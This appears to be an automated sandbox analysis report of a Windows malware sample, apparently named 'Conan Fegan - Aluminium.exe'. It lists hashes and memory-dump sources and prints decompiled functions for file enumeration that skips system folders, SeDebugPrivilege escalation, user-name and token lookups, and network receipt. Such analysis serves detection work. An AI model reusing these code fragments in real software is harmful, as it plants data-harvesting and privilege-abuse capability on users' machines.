Function 07A3CA01, Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07A3CA65

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: fb454ea4b00a2eefd5b26cbfe3c8e3d1391cd0bb8c7326d39128415014573755
Instruction ID: 7fd5161198a2dbbb642b0630feb652b9778738ad225a33fefa4094b2c6984c2c
Opcode Fuzzy Hash: fb454ea4b00a2eefd5b26cbfe3c8e3d1391cd0bb8c7326d39128415014573755
Instruction Fuzzy Hash: 0511F5B58003499FDB10CF99D884BDEBFF8EB49324F14881AE464A7640C374A554CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A3CA08, Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07A3CA65

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a466e5f8970eab635a569f17b3b51eb79b988c24e93d34df5f560c4ee266b917
Instruction ID: c59770541b0a8e93282030b11d17af792061ba811273e79a4720ac18e374f6a1
Opcode Fuzzy Hash: a466e5f8970eab635a569f17b3b51eb79b988c24e93d34df5f560c4ee266b917
Instruction Fuzzy Hash: F811E5B58003599FDB10CF99D884BDEBBF8FB48324F14881AE964B7640C378A554CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0107D3B4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.651195773.000000000107D000.00000040.00000001.sdmp, Offset: 0107D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514a62291b0ab0dff525e23cf6ca120f9b68910d1da92c911729cb1c1cb5a4b0
Instruction ID: 7e4a17378e8d72e4ca92785da1a492bfb20980f417bb77a401a744d23444f48e
Opcode Fuzzy Hash: 514a62291b0ab0dff525e23cf6ca120f9b68910d1da92c911729cb1c1cb5a4b0
Instruction Fuzzy Hash: 24213AB1904240EFDB01CF54D8C0B5ABFA5FF84324F24C6A9E9855B247C736E856C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0108D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.651219950.000000000108D000.00000040.00000001.sdmp, Offset: 0108D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d02d2958e78657cc607857b8c4113de119c8a9627032bf1ad0a8e5c299700f8
Instruction ID: 3763e30f1f43c88458716377c3392cc47f097bbc94ab00f14a52b390f0e98e0e
Opcode Fuzzy Hash: 2d02d2958e78657cc607857b8c4113de119c8a9627032bf1ad0a8e5c299700f8
Instruction Fuzzy Hash: 93212571508240DFDB15EF94D8C0B1ABBA5FB84364F24CBA9E9C94B286C736D807CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0108D1D4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.651219950.000000000108D000.00000040.00000001.sdmp, Offset: 0108D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3ceb6818559e357fefdc03033e19d9c677d957a4e8f081844f2acab53107900
Instruction ID: 8641097dd135ada54a01bb80ef9816c33e74629e4e33f3ec02f386a7208abea6
Opcode Fuzzy Hash: d3ceb6818559e357fefdc03033e19d9c677d957a4e8f081844f2acab53107900
Instruction Fuzzy Hash: CB2137B1508240EFDB41EF94D5C0B2ABBA5FB94324F24C7ADD9C94B286C336D806CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0107D3AF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.651195773.000000000107D000.00000040.00000001.sdmp, Offset: 0107D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 987ae082b2f359035be596b84dcad585c5d9c7b80c54fd1badd6de72d9b1f1a2
Instruction ID: e922ef22d585172fd912c5c2014ddc70b12835edc22943e25f563bfb8e876677
Opcode Fuzzy Hash: 987ae082b2f359035be596b84dcad585c5d9c7b80c54fd1badd6de72d9b1f1a2
Instruction Fuzzy Hash: 0411AF76804280DFDB12CF54D9C4B56BFB1FB84324F24C6A9D8850B616C33AE456CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0108D1CF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.651219950.000000000108D000.00000040.00000001.sdmp, Offset: 0108D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84522397b0c0072479584b34e9b527c289f971b5c41eac134402e64a3c6926ae
Instruction ID: 684e0ba18b2330078f4febd3fd4629f2bd6656317f5fd120d650c2fb1d6e2b1d
Opcode Fuzzy Hash: 84522397b0c0072479584b34e9b527c289f971b5c41eac134402e64a3c6926ae
Instruction Fuzzy Hash: BE11BB75908280DFDB42DF54D5C4B15FBB1FB84324F28C6AAD8894B696C33AD44ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 0108D017, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.651219950.000000000108D000.00000040.00000001.sdmp, Offset: 0108D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84522397b0c0072479584b34e9b527c289f971b5c41eac134402e64a3c6926ae
Instruction ID: 06271c543cbe64e1690f9fd67948915d23a4225a2090413a6c366cfa85fb3d78
Opcode Fuzzy Hash: 84522397b0c0072479584b34e9b527c289f971b5c41eac134402e64a3c6926ae
Instruction Fuzzy Hash: C611AC75508280DFDB12DF54D584B15BBA1EB44224F24C6AAE8894B696C33AD44BCF61

Uniqueness

Uniqueness Score: -1.00%

Function 0107D745, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.651195773.000000000107D000.00000040.00000001.sdmp, Offset: 0107D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: becf4d4b8ce27c18561d18236b3c2088baeb7e22cad0d69d0cd1122a9b0f19e7
Instruction ID: c6319fe9dba1a2741ade09cdd7b0d3f57dcdbb5b7c5c176753e7faf75bd542dd
Opcode Fuzzy Hash: becf4d4b8ce27c18561d18236b3c2088baeb7e22cad0d69d0cd1122a9b0f19e7
Instruction Fuzzy Hash: 9E0120718083C09AF7104E55CC84B66FFD8FF41234F08C55AEE844B246E7799844CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 0107D744, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.651195773.000000000107D000.00000040.00000001.sdmp, Offset: 0107D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ad4f520ce68d6f6bafd001d1730bc0de7970a27c1b32f5e5566dcf30994aee
Instruction ID: 9320b606002076e2ad2a8168dbf068fe5abd1985911d9ecd9e886238ae749d1b
Opcode Fuzzy Hash: b2ad4f520ce68d6f6bafd001d1730bc0de7970a27c1b32f5e5566dcf30994aee
Instruction Fuzzy Hash: A2F09671404384AEE7518E1ACCC4B66FFE8EF81634F18C45AED485B287D7799844CBB5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0096B3F4, Relevance: 2.0, Instructions: 2019COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.650807903.0000000000962000.00000002.00020000.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.650797619.0000000000960000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.650852695.00000000009C4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f8d9c6644249dd40319717c8680fb5221ed0250c9ad842b7f002a7434f70082
Instruction ID: 4dad0bf35faeb60903dd609fffb7409257426960bd9b530dea0472a63d061df7
Opcode Fuzzy Hash: 6f8d9c6644249dd40319717c8680fb5221ed0250c9ad842b7f002a7434f70082
Instruction Fuzzy Hash: 25F2796100E7C25FDB038B749D711E1BFB5AE5322431E48D7D4C0CF4A3E21969A9EBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0096A47C, Relevance: 2.0, Instructions: 1964COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.650807903.0000000000962000.00000002.00020000.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.650797619.0000000000960000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.650852695.00000000009C4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e4cca4bdf7a2deb0d126d08fdff85d31f4afd462d11d84347a8c15abe18a08c
Instruction ID: d88095cab98b70616676a127377a21a99d867c031bff234edb9f9d6d1b0ec057
Opcode Fuzzy Hash: 6e4cca4bdf7a2deb0d126d08fdff85d31f4afd462d11d84347a8c15abe18a08c
Instruction Fuzzy Hash: 8AF2246140F7C29FC7038B749D756A0BFB1AE5321471E49CBC4C18F1A3E2195A9AEB63

Uniqueness

Uniqueness Score: -1.00%

Function 00969526, Relevance: 1.2, Instructions: 1217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.650807903.0000000000962000.00000002.00020000.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.650797619.0000000000960000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.650852695.00000000009C4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96be765d227373fb7c4916afdcb49b650645f133a3ce0a63cf5e0e0e5884343e
Instruction ID: 4f4855e7b8f5a2ffffc75ba164d897c3ac1bd83302794820ad02c2ce678b3473
Opcode Fuzzy Hash: 96be765d227373fb7c4916afdcb49b650645f133a3ce0a63cf5e0e0e5884343e
Instruction Fuzzy Hash: F292466244EBC15FCB035B782DB12D17FB29D6722430E49C7C4C08F5A3E4196A9BE762

Uniqueness

Uniqueness Score: -1.00%

Function 07A30D80, Relevance: .9, Instructions: 912COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcfe2d86c08dfaa0227e6c20cd16e11605e805ee7feea873a0241bcd204abb2a
Instruction ID: 774e61bf12596e37264435616ad1b266372ef461f726e86334de4159885abac3
Opcode Fuzzy Hash: bcfe2d86c08dfaa0227e6c20cd16e11605e805ee7feea873a0241bcd204abb2a
Instruction Fuzzy Hash: B4824BB0A0060ACFDB14CF68D584AAEBBF2BF89315F158569F465DB2A1C730EC41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 07A38417, Relevance: .4, Instructions: 430COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e66a9bd6a876644cb171890d794effe59a5eb57d3f62e08e050b6a88071d25ee
Instruction ID: 03cd6a9f3b71db3d81d1e09798cb6cd9aed6f6aae70eb65e5aff92339cc618de
Opcode Fuzzy Hash: e66a9bd6a876644cb171890d794effe59a5eb57d3f62e08e050b6a88071d25ee
Instruction Fuzzy Hash: 8DD158BB9197909FEB15EFB8F4054D5BFA4FA1A77131480BBE014CAA09E7314142CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 07A34190, Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02a26637b7d843d168b0262d6f00dc4a8bd9e05d1f44bb5d12b109c6948ce902
Instruction ID: 7d4069a180c554ba7a257662bef91b000314a66c93fb29f558bfd5de01837a56
Opcode Fuzzy Hash: 02a26637b7d843d168b0262d6f00dc4a8bd9e05d1f44bb5d12b109c6948ce902
Instruction Fuzzy Hash: 33A18EB0E116288FEB64DF69C980BCEBBF5BF88304F5482E5D15CA6205E7305A96CF05

Uniqueness

Uniqueness Score: -1.00%

Function 07A32BC7, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e717b43a91ff58c0c73f466001e02d9bfb0a994cb9b10368cf6e7d970ece39fd
Instruction ID: 041d61afc4a41326f04a615c645aae3db1562c6c4c0cf97c9399c97fdddbdbb8
Opcode Fuzzy Hash: e717b43a91ff58c0c73f466001e02d9bfb0a994cb9b10368cf6e7d970ece39fd
Instruction Fuzzy Hash: 08515970D156498FD744EF75E8457AE7FF2EF89208F14C629E008AF2A4DF7468068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A32BD8, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.655004088.0000000007A30000.00000040.00000001.sdmp, Offset: 07A30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b2e5c5687473729d63b2b8df23433fa34b94f694fe01d9f26bcdbb3c75b1bd7
Instruction ID: 3bd21bdfbb3d6800c49e1d7542fab5b43b80b70ec05509280b4a33d67a6f2833
Opcode Fuzzy Hash: 6b2e5c5687473729d63b2b8df23433fa34b94f694fe01d9f26bcdbb3c75b1bd7
Instruction Fuzzy Hash: 44517A70E156098FD744EFA5E8447AEBBF2EF89208F14C529E0049F3A4DF706806CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Conan Fegan - Aluminium.exe PID: 7008 Parent PID: 4748 Conan Fegan - Aluminium.exeCOMMON

Executed Functions

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00403D74(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				struct _WIN32_FIND_DATAW _v596;
				void* __ebx;
				void* _t35;
				int _t43;
				void* _t52;
				int _t56;
				intOrPtr _t60;
				void* _t66;
				void* _t73;
				void* _t74;
				WCHAR* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				WCHAR* _t102;
				void* _t103;
				void* _t104;

				L004067C4(0xa); // executed
				_t72 = 0;
				_t100 = 0x2e;
				_t106 = _a16;
				if(_a16 == 0) {
					L15:
					_push(_a8);
					_t98 = E00405B6F(0, L"%s\\%s", _a4);
					_t104 = _t103 + 0xc;
					if(_t98 == 0) {
						L30:
						__eflags = 0;
						return 0;
					}
					E004031E5(_t72, _t72, 0xd4f4acea, _t72, _t72);
					_t35 = FindFirstFileW(_t98,  &_v596); // executed
					_t73 = _t35;
					if(_t73 == 0xffffffff) {
						L29:
						E00402BAB(_t98);
						goto L30;
					}
					L17:
					while(1) {
						if(E00405D24( &(_v596.cFileName)) >= 3 || _v596.cFileName != _t100) {
							if(_v596.dwFileAttributes != 0x10) {
								L21:
								_push( &(_v596.cFileName));
								_t101 = E00405B6F(_t124, L"%s\\%s", _a4);
								_t104 = _t104 + 0xc;
								if(_t101 == 0) {
									goto L24;
								}
								if(_a12 == 0) {
									E00402BAB(_t98);
									E00403BEF(_t73);
									return _t101;
								}
								_a12(_t101);
								E00402BAB(_t101);
								goto L24;
							}
							_t124 = _a20;
							if(_a20 == 0) {
								goto L24;
							}
							goto L21;
						} else {
							L24:
							E004031E5(_t73, 0, 0xce4477cc, 0, 0);
							_t43 = FindNextFileW(_t73,  &_v596); // executed
							if(_t43 == 0) {
								E00403BEF(_t73); // executed
								goto L29;
							}
							_t100 = 0x2e;
							continue;
						}
					}
				}
				_t102 = E00405B6F(_t106, L"%s\\*", _a4);
				if(_t102 == 0) {
					L14:
					_t100 = 0x2e;
					goto L15;
				}
				E004031E5(0, 0, 0xd4f4acea, 0, 0);
				_t52 = FindFirstFileW(_t102,  &_v596); // executed
				_t74 = _t52;
				if(_t74 == 0xffffffff) {
					L13:
					E00402BAB(_t102);
					_t72 = 0;
					goto L14;
				} else {
					goto L3;
				}
				do {
					L3:
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						goto L11;
					}
					if(_a24 == 0) {
						L7:
						if(E00405D24( &(_v596.cFileName)) >= 3) {
							L9:
							_push( &(_v596.cFileName));
							_t60 = E00405B6F(_t114, L"%s\\%s", _a4);
							_t103 = _t103 + 0xc;
							_a16 = _t60;
							_t115 = _t60;
							if(_t60 == 0) {
								goto L11;
							}
							_t99 = E00403D74(_t115, _t60, _a8, _a12, 1, 0, 1);
							E00402BAB(_a16);
							_t103 = _t103 + 0x1c;
							if(_t99 != 0) {
								E00402BAB(_t102);
								E00403BEF(_t74);
								return _t99;
							}
							goto L11;
						}
						_t66 = 0x2e;
						_t114 = _v596.cFileName - _t66;
						if(_v596.cFileName == _t66) {
							goto L11;
						}
						goto L9;
					}
					_push(L"Windows");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					_push(L"Program Files");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					goto L7;
					L11:
					E004031E5(_t74, 0, 0xce4477cc, 0, 0);
					_t56 = FindNextFileW(_t74,  &_v596); // executed
				} while (_t56 != 0);
				E00403BEF(_t74); // executed
				goto L13;
			}

0x00403d82
0x00403d88
0x00403d8c
0x00403d8d
0x00403d90
0x00403ea9
0x00403ea9
0x00403eb9
0x00403ebb
0x00403ec0
0x00403f95
0x00403f95
0x00000000
0x00403f95
0x00403ece
0x00403edb
0x00403edd
0x00403ee2
0x00403f8e
0x00403f8f
0x00000000
0x00403f94
0x00000000
0x00403ee8
0x00403ef8
0x00403f0a
0x00403f12
0x00403f18
0x00403f26
0x00403f28
0x00403f2d
0x00000000
0x00000000
0x00403f33
0x00403f76
0x00403f7c
0x00000000
0x00403f83
0x00403f36
0x00403f3a
0x00000000
0x00403f40
0x00403f0c
0x00403f10
0x00000000
0x00000000
0x00000000
0x00403f41
0x00403f41
0x00403f4b
0x00403f58
0x00403f5c
0x00403f88
0x00000000
0x00403f8d
0x00403f60
0x00000000
0x00403f60
0x00403ef8
0x00403ee8
0x00403da3
0x00403da9
0x00403ea6
0x00403ea8
0x00000000
0x00403ea8
0x00403db7
0x00403dc4
0x00403dc6
0x00403dcb
0x00403e9d
0x00403e9e
0x00403ea4
0x00000000
0x00000000
0x00000000
0x00000000
0x00403dd1
0x00403dd1
0x00403dd8
0x00000000
0x00000000
0x00403de2
0x00403e12
0x00403e22
0x00403e30
0x00403e36
0x00403e3f
0x00403e44
0x00403e47
0x00403e4a
0x00403e4c
0x00000000
0x00000000
0x00403e63
0x00403e65
0x00403e6a
0x00403e6f
0x00403f64
0x00403f6a
0x00000000
0x00403f71
0x00000000
0x00403e6f
0x00403e26
0x00403e27
0x00403e2e
0x00000000
0x00000000
0x00000000
0x00403e2e
0x00403dea
0x00403df9
0x00000000
0x00000000
0x00403e01
0x00403e10
0x00000000
0x00000000
0x00000000
0x00403e75
0x00403e7f
0x00403e8c
0x00403e8e
0x00403e97
0x00000000

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

Windows, xrefs: 00403DEA
Program Files, xrefs: 00403E01
%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C
%s\*, xrefs: 00403D99

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 16b975ea2879a45a9effdb1f305e21ca7c68cdc893d4167e4adf6413639c420c
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 16b975ea2879a45a9effdb1f305e21ca7c68cdc893d4167e4adf6413639c420c
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Uniqueness

Uniqueness Score: -1.00%

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040650A(void* __eax, void* __ebx, void* __eflags) {
				void* _v8;
				struct _LUID _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v32;
				intOrPtr* _t13;
				void* _t14;
				int _t16;
				int _t31;
				void* _t32;

				_t31 = 0;
				E004060AC();
				_t32 = __eax;
				_t13 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
				_t14 =  *_t13(_t32, 0x28,  &_v8);
				if(_t14 != 0) {
					E004031E5(__ebx, 9, 0xc6c3ecbb, 0, 0);
					_t16 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v16); // executed
					if(_t16 != 0) {
						_push(__ebx);
						_v32.Privileges = _v16.LowPart;
						_v32.PrivilegeCount = 1;
						_v24 = _v16.HighPart;
						_v20 = 2;
						E004031E5(1, 9, 0xc1642df2, 0, 0);
						AdjustTokenPrivileges(_v8, 0,  &_v32, 0x10, 0, 0); // executed
						_t31 =  !=  ? 1 : 0;
					}
					E00403C40(_v8);
					return _t31;
				}
				return _t14;
			}

0x00406512
0x00406514
0x00406522
0x00406524
0x00406530
0x00406534
0x0040653f
0x0040654e
0x00406552
0x0040655a
0x0040655f
0x0040656d
0x00406570
0x00406573
0x0040657a
0x00406589
0x0040658d
0x00406590
0x00406594
0x00000000
0x0040659a
0x004065a1

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B7C(long _a4) {
				void* _t4;
				void* _t7;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t4;
				if(_t7 != 0) {
					E00402B4E(_t7, 0, _a4);
				}
				return _t7;
			}

0x00402b8c
0x00402b92
0x00402b96
0x00402b9e
0x00402ba3
0x00402baa

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(WCHAR* _a4, DWORD* _a8) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 9, 0xd4449184, 0, 0);
				_t4 = GetUserNameW(_a4, _a8); // executed
				return _t4;
			}

0x00406077
0x00406082
0x00406085

APIs

GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction ID: cd86427636297e763c0a42ccb852711c5927781faf2e94d4e6bb5dc6023ef8f2
Opcode Fuzzy Hash: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction Fuzzy Hash: 93C04C711842087BFE116ED1DC06F483E199B45B59F104011B71C2C0D1D9F3A6516559

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED4, Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Uniqueness

Uniqueness Score: -1.00%

Function 004061C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004061C3(void* __eax, void* __ebx, void* __eflags) {
				int _v8;
				long _v12;
				int _v16;
				int _v20;
				char _v24;
				char _v28;
				char _v32;
				intOrPtr* _t25;
				int _t27;
				int _t30;
				int _t31;
				int _t36;
				int _t37;
				intOrPtr* _t39;
				int _t40;
				long _t44;
				intOrPtr* _t45;
				int _t46;
				void* _t48;
				int _t49;
				void* _t67;
				void* _t68;
				void* _t74;

				_t48 = __ebx;
				_t67 = 0;
				_v8 = 0;
				E00402BF2();
				_t68 = __eax;
				_t25 = E004031E5(__ebx, 9, 0xe87a9e93, 0, 0);
				_t2 =  &_v8; // 0x414449
				_push(1);
				_push(8);
				_push(_t68);
				if( *_t25() != 0) {
					L4:
					_t27 = E00402B7C(0x208);
					_v20 = _t27;
					__eflags = _t27;
					if(_t27 != 0) {
						E0040338C(_t27, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_push(_t48);
					_t49 = E00402B7C(0x208);
					__eflags = _t49;
					if(_t49 != 0) {
						E0040338C(_t49, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_v28 = 0x208;
					_v24 = 0x208;
					_t7 =  &_v8; // 0x414449
					_v12 = _t67;
					E004031E5(_t49, 9, 0xecae3497, _t67, _t67);
					_t30 = GetTokenInformation( *_t7, 1, _t67, _t67,  &_v12); // executed
					__eflags = _t30;
					if(_t30 == 0) {
						_t36 = E00402B7C(_v12);
						_v16 = _t36;
						__eflags = _t36;
						if(_t36 != 0) {
							_t14 =  &_v8; // 0x414449, executed
							_t37 = E00406086( *_t14, 1, _t36, _v12,  &_v12); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								_t39 = E004031E5(_t49, 9, 0xc0862e2b, _t67, _t67);
								_t40 =  *_t39(_t67,  *_v16, _v20,  &_v28, _t49,  &_v24,  &_v32); // executed
								__eflags = _t40;
								if(__eflags != 0) {
									_t67 = E00405B6F(__eflags, L"%s", _t49);
								}
							}
							E00402BAB(_v16);
						}
					}
					__eflags = _v8;
					if(_v8 != 0) {
						E00403C40(_v8); // executed
					}
					__eflags = _t49;
					if(_t49 != 0) {
						E00402BAB(_t49);
					}
					_t31 = _v20;
					__eflags = _t31;
					if(_t31 != 0) {
						E00402BAB(_t31);
					}
					return _t67;
				}
				_t44 = GetLastError();
				if(_t44 == 0x3f0) {
					E004060AC();
					_t45 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
					_t3 =  &_v8; // 0x414449
					_t46 =  *_t45(_t44, 8, _t3);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L2;
					}
					goto L4;
				}
				L2:
				return 0;
			}

0x004061c3
0x004061cb
0x004061cd
0x004061d0
0x004061de
0x004061e0
0x004061e5
0x004061e9
0x004061eb
0x004061ed
0x004061f2
